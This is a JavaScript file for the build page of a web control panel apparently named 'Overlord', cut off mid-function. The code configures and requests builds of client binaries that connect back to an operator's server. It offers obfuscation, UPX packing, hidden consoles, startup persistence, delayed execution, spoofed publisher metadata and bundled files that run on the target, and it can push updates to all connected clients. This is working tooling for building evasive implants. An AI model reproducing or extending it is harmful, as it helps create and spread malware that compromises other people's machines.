const form = document.getElementById("build-form"); const buildBtn = document.getElementById("build-btn"); const buildStatus = document.getElementById("build-status"); const buildStatusText = document.getElementById("build-status-text"); const buildOutputDiv = document.getElementById("build-output"); const buildOutputContainer = document.getElementById("build-output-container"); const buildResults = document.getElementById("build-results"); const buildFilesDiv = document.getElementById("build-files"); const logoutBtn = document.getElementById("logout-btn"); const usernameDisplay = document.getElementById("username-display"); const roleBadge = document.getElementById("role-badge"); const usersLink = document.getElementById("users-link"); const buildLink = document.getElementById("build-link"); const scriptsLink = document.getElementById("scripts-link"); const pluginsLink = document.getElementById("plugins-link"); const rawServerListCheckbox = document.getElementById("raw-server-list"); const serverUrlInput = document.getElementById("server-url"); let currentServerVersion = null; async function loadServerVersion() { try { const res = await fetch("/api/version", { credentials: "include" }); if (!res.ok) { currentServerVersion = null; return; } const payload = await res.json(); const version = typeof payload?.version === "string" ? payload.version.trim() : ""; currentServerVersion = version || null; } catch { currentServerVersion = null; } } function getDefaultServerUrlPlaceholder(isRawList) { const isHttps = window.location.protocol === "https:"; const host = window.location.host; if (isRawList) { return `${isHttps ? "https" : "http"}://${host}/list.txt`; } return `${isHttps ? "wss" : "ws"}://${host}`; } function updateServerUrlPlaceholder() { if (!serverUrlInput) return; const isRaw = rawServerListCheckbox?.checked ?? false; const placeholder = getDefaultServerUrlPlaceholder(isRaw); serverUrlInput.placeholder = placeholder; if (!serverUrlInput.value.trim()) { serverUrlInput.value = placeholder; } } let isBuilding = false; function initAccordions() { document.querySelectorAll(".accordion-section").forEach((section) => { const header = section.querySelector(".accordion-header"); const body = section.querySelector(".accordion-body"); const chevron = section.querySelector(".accordion-chevron"); const startOpen = section.dataset.open !== "false"; if (!startOpen) { body.classList.add("collapsed"); } else { chevron.classList.add("rotated"); } header.addEventListener("click", () => { const nowCollapsed = body.classList.toggle("collapsed"); chevron.classList.toggle("rotated", !nowCollapsed); }); }); } function updateWindowsSectionVisibility() { const windowsSection = document.getElementById("windows-settings-section"); if (!windowsSection) return; const hasWindows = Array.from( document.querySelectorAll('input[name="platform"]:checked'), ).some((el) => el.value.startsWith("windows-")); windowsSection.classList.toggle("hidden", !hasWindows); } const BUILD_SETTINGS_KEY = "overlord_build_settings"; function saveFormSettings() { try { const settings = { platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })), serverUrl: document.getElementById("server-url")?.value ?? "", rawServerList: document.getElementById("raw-server-list")?.checked ?? false, outputName: document.getElementById("output-name")?.value ?? "", mutex: document.getElementById("mutex")?.value ?? "", disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false, stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true, disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false, noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false, garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false, garbleSeed: document.getElementById("garble-seed")?.value ?? "", enableUpx: document.querySelector('input[name="enable-upx"]')?.checked ?? false, upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false, sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0", enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false, persistenceMethods: Array.from(document.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value), startupName: document.getElementById("startup-name")?.value ?? "", hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false, requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false, assemblyTitle: document.getElementById("assembly-title")?.value ?? "", assemblyProduct: document.getElementById("assembly-product")?.value ?? "", assemblyCompany: document.getElementById("assembly-company")?.value ?? "", assemblyVersion: document.getElementById("assembly-version")?.value ?? "", assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "", outputExtension: document.getElementById("output-extension")?.value ?? ".exe", }; localStorage.setItem(BUILD_SETTINGS_KEY, JSON.stringify(settings)); } catch (err) { console.error("Failed to save form settings:", err); } } function restoreFormSettings() { try { const raw = localStorage.getItem(BUILD_SETTINGS_KEY); if (!raw) return; const s = JSON.parse(raw); const setVal = (id, val) => { const el = document.getElementById(id); if (el && val !== undefined) el.value = val; }; const setCb = (sel, val) => { const el = document.querySelector(sel); if (el && val !== undefined) el.checked = val; }; if (Array.isArray(s.platforms)) { s.platforms.forEach(({ value, checked }) => { const el = document.querySelector(`input[name="platform"][value="${value}"]`); if (el) el.checked = checked; }); } if (s.serverUrl !== undefined) setVal("server-url", s.serverUrl); if (s.rawServerList !== undefined) setCb("#raw-server-list", s.rawServerList); if (s.outputName !== undefined) setVal("output-name", s.outputName); if (s.mutex !== undefined) setVal("mutex", s.mutex); if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex); if (s.stripDebug !== undefined) setCb('input[name="strip-debug"]', s.stripDebug); if (s.disableCgo !== undefined) setCb('input[name="disable-cgo"]', s.disableCgo); if (s.noPrinting !== undefined) setCb('input[name="no-printing"]', s.noPrinting); if (s.obfuscate !== undefined) setCb('input[name="obfuscate"]', s.obfuscate); if (s.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', s.garbleLiterals); if (s.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', s.garbleTiny); if (s.garbleSeed !== undefined) setVal("garble-seed", s.garbleSeed); if (s.enableUpx !== undefined) setCb('input[name="enable-upx"]', s.enableUpx); if (s.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', s.upxStripHeaders); if (s.sleepSeconds !== undefined) setVal("sleep-seconds", s.sleepSeconds); if (s.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', s.enablePersistence); if (Array.isArray(s.persistenceMethods)) { document.querySelectorAll('input[name="persistence-method"]').forEach((el) => { el.checked = s.persistenceMethods.includes(el.value); }); } if (s.startupName !== undefined) setVal("startup-name", s.startupName); if (s.hideConsole !== undefined) setCb('input[name="hide-console"]', s.hideConsole); if (s.requireAdmin !== undefined) setCb('input[name="require-admin"]', s.requireAdmin); if (s.assemblyTitle !== undefined) setVal("assembly-title", s.assemblyTitle); if (s.assemblyProduct !== undefined) setVal("assembly-product", s.assemblyProduct); if (s.assemblyCompany !== undefined) setVal("assembly-company", s.assemblyCompany); if (s.assemblyVersion !== undefined) setVal("assembly-version", s.assemblyVersion); if (s.assemblyCopyright !== undefined) setVal("assembly-copyright", s.assemblyCopyright); if (s.outputExtension !== undefined) setVal("output-extension", s.outputExtension); const restoredObfuscate = document.querySelector('input[name="obfuscate"]'); const garbleContainer = document.getElementById("garble-settings-container"); if (restoredObfuscate && garbleContainer) { garbleContainer.classList.toggle("hidden", !restoredObfuscate.checked); } const restoredUpx = document.querySelector('input[name="enable-upx"]'); const upxContainer = document.getElementById("upx-settings-container"); if (restoredUpx && upxContainer) { upxContainer.classList.toggle("hidden", !restoredUpx.checked); } } catch (err) { console.error("Failed to restore form settings:", err); } } restoreFormSettings(); initAccordions(); updateWindowsSectionVisibility(); init(); if (rawServerListCheckbox && serverUrlInput) { rawServerListCheckbox.addEventListener("change", () => { const isRaw = rawServerListCheckbox.checked; const current = serverUrlInput.value.trim(); if (isRaw) { if (current.startsWith("wss://")) { serverUrlInput.value = "https://" + current.slice("wss://".length); } else if (current.startsWith("ws://")) { serverUrlInput.value = "http://" + current.slice("ws://".length); } serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(true); } else { if (current.startsWith("https://")) { serverUrlInput.value = "wss://" + current.slice("https://".length); } else if (current.startsWith("http://")) { serverUrlInput.value = "ws://" + current.slice("http://".length); } serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false); } }); } const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]'); const persistenceMethodContainer = document.getElementById("persistence-method-container"); const persistenceEmptyState = document.getElementById("persistence-empty-state"); const persistenceWindowsSettings = document.getElementById("persistence-windows-settings"); const persistenceLinuxSettings = document.getElementById("persistence-linux-settings"); const persistenceMacSettings = document.getElementById("persistence-macos-settings"); const platformInputs = document.querySelectorAll('input[name="platform"]'); function getSelectedPlatformFamilies() { const selectedPlatforms = Array.from( document.querySelectorAll('input[name="platform"]:checked'), ).map((el) => el.value); return { windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")), linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")), darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")), }; } function updatePersistenceSettingsVisibility() { if (!persistenceMethodContainer) return; const persistenceEnabled = !!persistenceCheckbox?.checked; if (!persistenceEnabled) { persistenceMethodContainer.classList.add("hidden"); return; } persistenceMethodContainer.classList.remove("hidden"); const families = getSelectedPlatformFamilies(); const hasSupportedFamily = families.windows || families.linux || families.darwin; if (persistenceWindowsSettings) { persistenceWindowsSettings.classList.toggle("hidden", !families.windows); } if (persistenceLinuxSettings) { persistenceLinuxSettings.classList.toggle("hidden", !families.linux); } if (persistenceMacSettings) { persistenceMacSettings.classList.toggle("hidden", !families.darwin); } if (persistenceEmptyState) { persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily); } } if (persistenceCheckbox && persistenceMethodContainer) { persistenceCheckbox.addEventListener("change", updatePersistenceSettingsVisibility); } platformInputs.forEach((input) => { input.addEventListener("change", updatePersistenceSettingsVisibility); input.addEventListener("change", updateWindowsSectionVisibility); }); updatePersistenceSettingsVisibility(); form?.addEventListener("change", saveFormSettings); form?.addEventListener("input", saveFormSettings); const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]'); const garbleSettingsContainer = document.getElementById("garble-settings-container"); if (obfuscateCheckbox && garbleSettingsContainer) { obfuscateCheckbox.addEventListener("change", () => { if (obfuscateCheckbox.checked) { garbleSettingsContainer.classList.remove("hidden"); } else { garbleSettingsContainer.classList.add("hidden"); } }); } const upxCheckbox = document.querySelector('input[name="enable-upx"]'); const upxSettingsContainer = document.getElementById("upx-settings-container"); if (upxCheckbox && upxSettingsContainer) { upxCheckbox.addEventListener("change", () => { if (upxCheckbox.checked) { upxSettingsContainer.classList.remove("hidden"); } else { upxSettingsContainer.classList.add("hidden"); } }); } let pendingIconBase64 = null; const iconUpload = document.getElementById("icon-upload"); const iconLabel = document.getElementById("icon-label"); const iconClear = document.getElementById("icon-clear"); if (iconUpload) { iconUpload.addEventListener("change", () => { const file = iconUpload.files[0]; if (!file) return; if (file.size > 1024 * 1024) { alert("Icon file must be under 1MB"); iconUpload.value = ""; return; } const reader = new FileReader(); reader.onload = () => { const base64 = reader.result.split(",")[1]; pendingIconBase64 = base64; if (iconLabel) iconLabel.textContent = file.name; if (iconClear) iconClear.classList.remove("hidden"); }; reader.readAsDataURL(file); }); } if (iconClear) { iconClear.addEventListener("click", () => { pendingIconBase64 = null; if (iconUpload) iconUpload.value = ""; if (iconLabel) iconLabel.textContent = "Choose .ico file"; iconClear.classList.add("hidden"); }); } const MAX_BIND_FILES = 5; const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean } const bindFileInput = document.getElementById("bind-file-input"); const bindFilesList = document.getElementById("bind-files-list"); const bindAddLabel = document.getElementById("bind-add-label"); function sanitizeBindName(name) { return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file"; } function renderBoundFiles() { if (!bindFilesList) return; bindFilesList.innerHTML = ""; boundFiles.forEach((entry, idx) => { const div = document.createElement("div"); div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; const osList = ["windows", "linux", "darwin"]; const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" }; const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" }; const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" }; const osCheckboxes = osList .map( (os) => ``, ) .join(""); div.innerHTML = `
${entry.name}
Run on: ${osCheckboxes}
`; div.querySelector(".bind-remove-btn").addEventListener("click", () => { boundFiles.splice(idx, 1); renderBoundFiles(); updateBindAddVisibility(); }); div.querySelectorAll(".bind-os-cb").forEach((cb) => { cb.addEventListener("change", () => { const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`)) .filter((el) => el.checked) .map((el) => el.dataset.os); boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked; }); }); div.querySelector(".bind-exec-cb").addEventListener("change", (e) => { boundFiles[idx].execute = e.target.checked; }); bindFilesList.appendChild(div); }); } function updateBindAddVisibility() { if (!bindAddLabel) return; bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES); } if (bindFileInput) { bindFileInput.addEventListener("change", () => { const file = bindFileInput.files[0]; bindFileInput.value = ""; if (!file) return; if (boundFiles.length >= MAX_BIND_FILES) { alert(`Maximum ${MAX_BIND_FILES} files can be bound.`); return; } if (file.size > MAX_BIND_FILE_BYTES) { alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`); return; } const safeName = sanitizeBindName(file.name); if (boundFiles.some((f) => f.name === safeName)) { alert(`A file named "${safeName}" is already in the list.`); return; } const reader = new FileReader(); reader.onload = () => { const base64 = reader.result.split(",")[1]; boundFiles.push({ name: safeName, base64, targetOS: [], execute: true }); renderBoundFiles(); updateBindAddVisibility(); }; reader.readAsDataURL(file); }); } async function init() { try { updateServerUrlPlaceholder(); const res = await fetch("/api/auth/me", { credentials: "include", }); if (!res.ok) { window.location.href = "/login.html"; return; } const data = await res.json(); usernameDisplay.textContent = data.username; const roleBadges = { admin: 'Admin', operator: 'Operator', viewer: 'Viewer', }; if (roleBadges[data.role]) { roleBadge.innerHTML = roleBadges[data.role]; } else { roleBadge.textContent = data.role || ""; } if (data.role === "admin") { roleBadge.classList.add( "bg-purple-900/50", "text-purple-300", "border", "border-purple-800", ); } else if (data.role === "operator") { roleBadge.classList.add( "bg-blue-900/50", "text-blue-300", "border", "border-blue-800", ); } else { roleBadge.classList.add( "bg-slate-700", "text-slate-300", "border", "border-slate-600", ); } if (data.role === "admin") { usersLink.classList.remove("hidden"); pluginsLink?.classList.remove("hidden"); document.getElementById("deploy-link")?.classList.remove("hidden"); } if (data.role === "admin" || data.role === "operator" || data.canBuild) { buildLink?.classList.remove("hidden"); } if (data.role !== "viewer") { scriptsLink?.classList.remove("hidden"); } if (data.role !== "admin" && data.role !== "operator" && !data.canBuild) { buildBtn.disabled = true; buildBtn.innerHTML = ' Build requires permission'; } await loadServerVersion(); await loadSavedBuilds(); } catch (err) { console.error("Failed to fetch user info:", err); window.location.href = "/login.html"; } } if (logoutBtn && !logoutBtn.dataset.boundLogout) { logoutBtn.dataset.boundLogout = "true"; logoutBtn.addEventListener("click", async () => { try { await fetch("/api/logout", { method: "POST", headers: { "Content-Type": "application/json" }, }); } catch (err) { console.error("Logout error:", err); } window.location.href = "/"; }); } form?.addEventListener("submit", async (e) => { e.preventDefault(); if (isBuilding) return; const platformCheckboxes = form.querySelectorAll( 'input[name="platform"]:checked', ); const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); if (platforms.length === 0) { alert("Please select at least one platform to build"); return; } const serverUrl = form.querySelector("#server-url").value.trim(); const rawServerList = form.querySelector("#raw-server-list")?.checked || false; const mutex = form.querySelector("#mutex")?.value.trim() || ""; const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false; const stripDebug = form.querySelector('input[name="strip-debug"]').checked; const disableCgo = form.querySelector('input[name="disable-cgo"]').checked; const obfuscate = form.querySelector('input[name="obfuscate"]').checked; const enablePersistence = form.querySelector( 'input[name="enable-persistence"]', ).checked; const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-")); const persistenceMethods = hasWindowsTarget ? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value) : undefined; const startupNameVal = hasWindowsTarget ? (form.querySelector("#startup-name")?.value.trim() || "") : ""; const hideConsole = form.querySelector( 'input[name="hide-console"]', ).checked; const noPrinting = form.querySelector( 'input[name="no-printing"]', ).checked; const outputNameVal = form.querySelector("#output-name")?.value.trim() || ""; const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false; const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false; const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || ""; const assemblyTitle = form.querySelector("#assembly-title")?.value.trim() || ""; const assemblyProduct = form.querySelector("#assembly-product")?.value.trim() || ""; const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || ""; const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || ""; const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || ""; const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false; const outputExtension = form.querySelector("#output-extension")?.value || ".exe"; const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10); const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0; const buildConfig = { platforms, serverUrl: serverUrl || undefined, rawServerList, mutex: disableMutex ? "" : mutex || undefined, disableMutex, stripDebug, disableCgo, obfuscate, enablePersistence, persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined, startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined, hideConsole, noPrinting, outputName: outputNameVal || undefined, garbleLiterals: obfuscate ? garbleLiterals : undefined, garbleTiny: obfuscate ? garbleTiny : undefined, garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined, assemblyTitle: assemblyTitle || undefined, assemblyProduct: assemblyProduct || undefined, assemblyCompany: assemblyCompany || undefined, assemblyVersion: assemblyVersion || undefined, assemblyCopyright: assemblyCopyright || undefined, requireAdmin, outputExtension, sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined, iconBase64: pendingIconBase64 || undefined, enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false, upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false, boundFiles: boundFiles.length > 0 ? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute })) : undefined, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); const hasBsd = platforms.some( p => p.startsWith('freebsd-') || p.startsWith('openbsd-'), ); if (hasAndroid || hasBsd) { let warningText = 'WARNING: Some selected targets are severely untested and will probably not work right.\n\n'; if (hasAndroid) { warningText += '- Android targets are severely untested and will probably not work right.\n'; } if (hasBsd) { warningText += '- BSD targets are severely untested and will probably not work right.\n'; } warningText += '\nContinue with build anyway?'; if (!confirm(warningText)) { return; } } if (hasAndroid && enablePersistence) { if (!confirm( '⚠️ WARNING: Persistence is NOT supported on Android\n\n' + 'The persistence setting will be ignored for Android builds.\n' + 'Persistence is only supported on: Windows, Linux, and macOS\n\n' + 'Continue with build anyway?' )) { return; } } await startBuild(buildConfig); }); async function startBuild(config) { isBuilding = true; buildBtn.disabled = true; buildBtn.innerHTML = ' Building...'; if (buildUpdateAllBtn) { buildUpdateAllBtn.disabled = true; buildUpdateAllBtn.innerHTML = ' Building...'; } buildStatus.classList.remove("hidden"); buildStatusText.textContent = "Starting build..."; buildResults.classList.add("hidden"); buildFilesDiv.innerHTML = ""; buildOutputDiv.innerHTML = ""; addBuildOutput("Starting build process...\n", "info"); try { const res = await fetch("/api/build/start", { method: "POST", headers: { "Content-Type": "application/json", }, credentials: "include", body: JSON.stringify(config), }); if (!res.ok) { const error = await res.json(); throw new Error(error.error || "Build failed to start"); } const data = await res.json(); const buildId = data.buildId; addBuildOutput(`Build ID: ${buildId}\n`, "info"); addBuildOutput( `Building for platforms: ${config.platforms.join(", ")}\n\n`, "info", ); await streamBuildOutput(buildId, config); } catch (err) { addBuildOutput(`\nERROR: ${err.message}\n`, "error"); if (!config.disableCgo) { addBuildOutput( "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n", "warn", ); } buildStatusText.textContent = "Build failed"; buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark"; pendingUpdateAll = false; } finally { isBuilding = false; buildBtn.disabled = false; buildBtn.innerHTML = ' Start Build'; if (buildUpdateAllBtn) { buildUpdateAllBtn.disabled = false; buildUpdateAllBtn.innerHTML = ' Build & Update All'; } } } async function streamBuildOutput(buildId, config = {}) { const res = await fetch(`/api/build/${buildId}/stream`, { credentials: "include", }); if (!res.ok) { throw new Error("Failed to connect to build stream"); } const reader = res.body.getReader(); const decoder = new TextDecoder(); let buffer = ""; try { while (true) { const { done, value } = await reader.read(); if (done) break; buffer += decoder.decode(value, { stream: true }); const lines = buffer.split("\n"); buffer = lines.pop(); for (const line of lines) { if (!line.trim()) continue; if (line.startsWith("data: ")) { const data = JSON.parse(line.substring(6)); if (data.type === "output") { addBuildOutput(data.text, data.level || "info"); } else if (data.type === "status") { buildStatusText.textContent = data.text; } else if (data.type === "complete") { buildStatusText.textContent = data.success ? "Build completed successfully!" : "Build failed"; buildStatus.querySelector("div").className = data.success ? "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60" : "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = data.success ? "fa-solid fa-circle-check" : "fa-solid fa-circle-xmark"; if (!data.success && !config.disableCgo) { addBuildOutput( "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n", "warn", ); } if (data.success && data.files) { const buildData = { id: data.buildId, status: "success", startTime: Date.now(), expiresAt: data.expiresAt, files: data.files, }; saveBuildToStorage(data.buildId, buildData); buildResults.classList.remove("hidden"); displayBuild(buildData); // Auto-push update if "Build & Update All" was used if (pendingUpdateAll) { pendingUpdateAll = false; await pushUpdateToAllClients(data.buildId, pendingUpdateHideWindow); } } reader.cancel(); return; } else if (data.type === "error") { addBuildOutput(`\nERROR: ${data.error}\n`, "error"); } } } buildOutputContainer.scrollTop = buildOutputContainer.scrollHeight; } } finally { reader.releaseLock(); } } function addBuildOutput(text, level = "info") { const span = document.createElement("span"); span.textContent = text; if (level === "error") { span.className = "text-red-400"; } else if (level === "success") { span.className = "text-green-400"; } else if (level === "warn") { span.className = "text-yellow-400"; } else { span.className = "text-slate-300"; } buildOutputDiv.appendChild(span); } function showBuildFiles(files, buildId, expiresAt) { buildResults.classList.remove("hidden"); buildFilesDiv.innerHTML = ""; const buildInfoDiv = document.createElement("div"); buildInfoDiv.className = "mb-3 p-3 bg-slate-900/70 border border-slate-700 rounded-lg"; const infoRow = document.createElement("div"); infoRow.className = "flex items-center justify-between gap-2 text-sm"; const left = document.createElement("div"); left.className = "flex items-center gap-2"; const idIcon = document.createElement("i"); idIcon.className = "fa-solid fa-fingerprint text-slate-400"; const idLabel = document.createElement("span"); idLabel.className = "text-slate-300"; idLabel.textContent = "Build ID:"; const idCode = document.createElement("code"); idCode.className = "text-blue-400 font-mono"; idCode.textContent = buildId; left.appendChild(idIcon); left.appendChild(idLabel); left.appendChild(idCode); const right = document.createElement("div"); right.className = "flex items-center gap-2"; const clockIcon = document.createElement("i"); clockIcon.className = "fa-solid fa-clock text-slate-400"; const expiresLabel = document.createElement("span"); expiresLabel.className = "text-slate-300"; expiresLabel.textContent = "Expires in:"; const timer = document.createElement("span"); timer.id = "expiration-timer"; timer.className = "text-yellow-400 font-medium"; timer.dataset.expires = String(expiresAt); timer.textContent = "Calculating..."; right.appendChild(clockIcon); right.appendChild(expiresLabel); right.appendChild(timer); infoRow.appendChild(left); infoRow.appendChild(right); buildInfoDiv.appendChild(infoRow); buildFilesDiv.appendChild(buildInfoDiv); updateExpirationTimer(); setInterval(updateExpirationTimer, 60000); files.forEach((file) => { const fileDiv = document.createElement("div"); fileDiv.className = "flex items-center justify-between gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; const fileInfo = document.createElement("div"); fileInfo.className = "flex items-center gap-2"; const fileIcon = document.createElement("i"); fileIcon.className = "fa-solid fa-file-code text-blue-400"; const fileName = document.createElement("span"); fileName.className = "font-medium"; fileName.textContent = file.name; const fileSize = document.createElement("span"); fileSize.className = "text-xs text-slate-500"; fileSize.textContent = formatFileSize(file.size); fileInfo.appendChild(fileIcon); fileInfo.appendChild(fileName); fileInfo.appendChild(fileSize); const downloadBtn = document.createElement("a"); downloadBtn.href = `/api/build/download/${encodeURIComponent(file.name)}`; downloadBtn.className = "inline-flex items-center gap-1 px-3 py-1 rounded bg-blue-600 hover:bg-blue-700 text-white text-sm transition-colors"; downloadBtn.innerHTML = ' Download'; fileDiv.appendChild(fileInfo); fileDiv.appendChild(downloadBtn); buildFilesDiv.appendChild(fileDiv); }); } function updateExpirationTimer(timerEl, expiresAt) { if (!timerEl) return; const now = Date.now(); const remaining = expiresAt - now; if (remaining <= 0) { timerEl.textContent = "Expired"; timerEl.className = "text-red-400 font-medium"; return; } const days = Math.floor(remaining / (1000 * 60 * 60 * 24)); const hours = Math.floor( (remaining % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60), ); const minutes = Math.floor((remaining % (1000 * 60 * 60)) / (1000 * 60)); if (days > 0) { timerEl.textContent = `${days}d ${hours}h`; } else if (hours > 0) { timerEl.textContent = `${hours}h ${minutes}m`; } else { timerEl.textContent = `${minutes}m`; } if (days >= 3) { timerEl.className = "text-green-400 font-medium"; } else if (days >= 1) { timerEl.className = "text-yellow-400 font-medium"; } else { timerEl.className = "text-orange-400 font-medium"; } } async function deleteBuild(buildId) { if (!confirm("Are you sure you want to delete this build?")) { return; } try { const res = await fetch(`/api/build/${encodeURIComponent(buildId)}/delete`, { method: "DELETE", credentials: "include", }); if (!res.ok) { const data = await res.json().catch(() => ({})); throw new Error(data.error || "Failed to delete build"); } const buildElement = document.getElementById(`build-${buildId}`); if (buildElement) { buildElement.remove(); } removeBuildFromStorage(buildId); if (buildFilesDiv.children.length === 0) { buildResults.classList.add("hidden"); } } catch (err) { console.error("Failed to delete build:", err); alert("Failed to delete build. Please try again."); } } function formatFileSize(bytes) { if (bytes === 0) return "0 B"; const k = 1024; const sizes = ["B", "KB", "MB", "GB"]; const i = Math.floor(Math.log(bytes) / Math.log(k)); return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i]; } function formatStubVersion(version) { if (typeof version === "string" && version.trim()) { return version.trim(); } return "unknown (legacy build)"; } function isVersionMismatch(versionValue) { if (!currentServerVersion) return false; return versionValue !== currentServerVersion; } function saveBuildToStorage(buildId, buildData) { try { const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); const existingIndex = builds.findIndex((b) => b.id === buildId); if (existingIndex >= 0) { builds[existingIndex] = buildData; } else { builds.push(buildData); } if (builds.length > 20) { builds.splice(0, builds.length - 20); } localStorage.setItem("overlord_builds", JSON.stringify(builds)); } catch (err) { console.error("Failed to save build to localStorage:", err); } } function getBuildFromStorage(buildId) { try { const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); return builds.find((b) => b.id === buildId); } catch (err) { console.error("Failed to get build from localStorage:", err); return null; } } function getAllBuildsFromStorage() { try { const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); return builds.sort((a, b) => b.startTime - a.startTime); } catch (err) { console.error("Failed to get builds from localStorage:", err); return []; } } function removeBuildFromStorage(buildId) { try { const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); const filtered = builds.filter((b) => b.id !== buildId); localStorage.setItem("overlord_builds", JSON.stringify(filtered)); } catch (err) { console.error("Failed to remove build from localStorage:", err); } } async function loadSavedBuilds() { try { const res = await fetch("/api/build/list", { credentials: "include", }); if (!res.ok) { console.error("Failed to fetch builds from server"); return; } const data = await res.json(); const builds = data.builds || []; const now = Date.now(); const validBuilds = builds.filter((build) => { if (build.expiresAt && build.expiresAt <= now) { return false; } return true; }); if (validBuilds.length === 0) { return; } buildResults.classList.remove("hidden"); for (const build of validBuilds) { displayBuild(build); saveBuildToStorage(build.id, build); } } catch (err) { console.error("Failed to load builds:", err); const builds = getAllBuildsFromStorage(); const now = Date.now(); const validBuilds = builds.filter((build) => { if (build.expiresAt && build.expiresAt <= now) { removeBuildFromStorage(build.id); return false; } return true; }); if (validBuilds.length > 0) { buildResults.classList.remove("hidden"); validBuilds.forEach((build) => displayBuild(build)); } } } function displayBuild(build) { const buildContainer = document.createElement("div"); buildContainer.className = "build-result-item mb-6 pb-6 border-b border-gray-700 last:border-b-0"; buildContainer.id = `build-${build.id}`; const header = document.createElement("div"); header.className = "flex items-center justify-between mb-3"; const left = document.createElement("div"); left.className = "flex items-center gap-3"; const boxIcon = document.createElement("i"); boxIcon.className = "fa-solid fa-box text-blue-400"; const buildLabel = document.createElement("span"); buildLabel.className = "text-gray-300 font-medium"; buildLabel.textContent = `Build ID: ${build.id.substring(0, 8)}`; const sep = document.createElement("span"); sep.className = "text-gray-500"; sep.textContent = "•"; const startedAt = document.createElement("span"); startedAt.className = "text-sm text-gray-400"; startedAt.textContent = new Date(build.startTime).toLocaleString(); left.appendChild(boxIcon); left.appendChild(buildLabel); left.appendChild(sep); left.appendChild(startedAt); const right = document.createElement("div"); right.className = "flex items-center gap-3"; const timerWrap = document.createElement("div"); timerWrap.className = "flex items-center gap-2"; const clockIcon = document.createElement("i"); clockIcon.className = "fa-solid fa-clock text-gray-400"; const timer = document.createElement("span"); timer.id = `timer-${build.id}`; timer.className = "text-gray-300 font-medium"; timer.textContent = "Loading..."; timerWrap.appendChild(clockIcon); timerWrap.appendChild(timer); const deleteBtn = document.createElement("button"); deleteBtn.id = `delete-btn-${build.id}`; 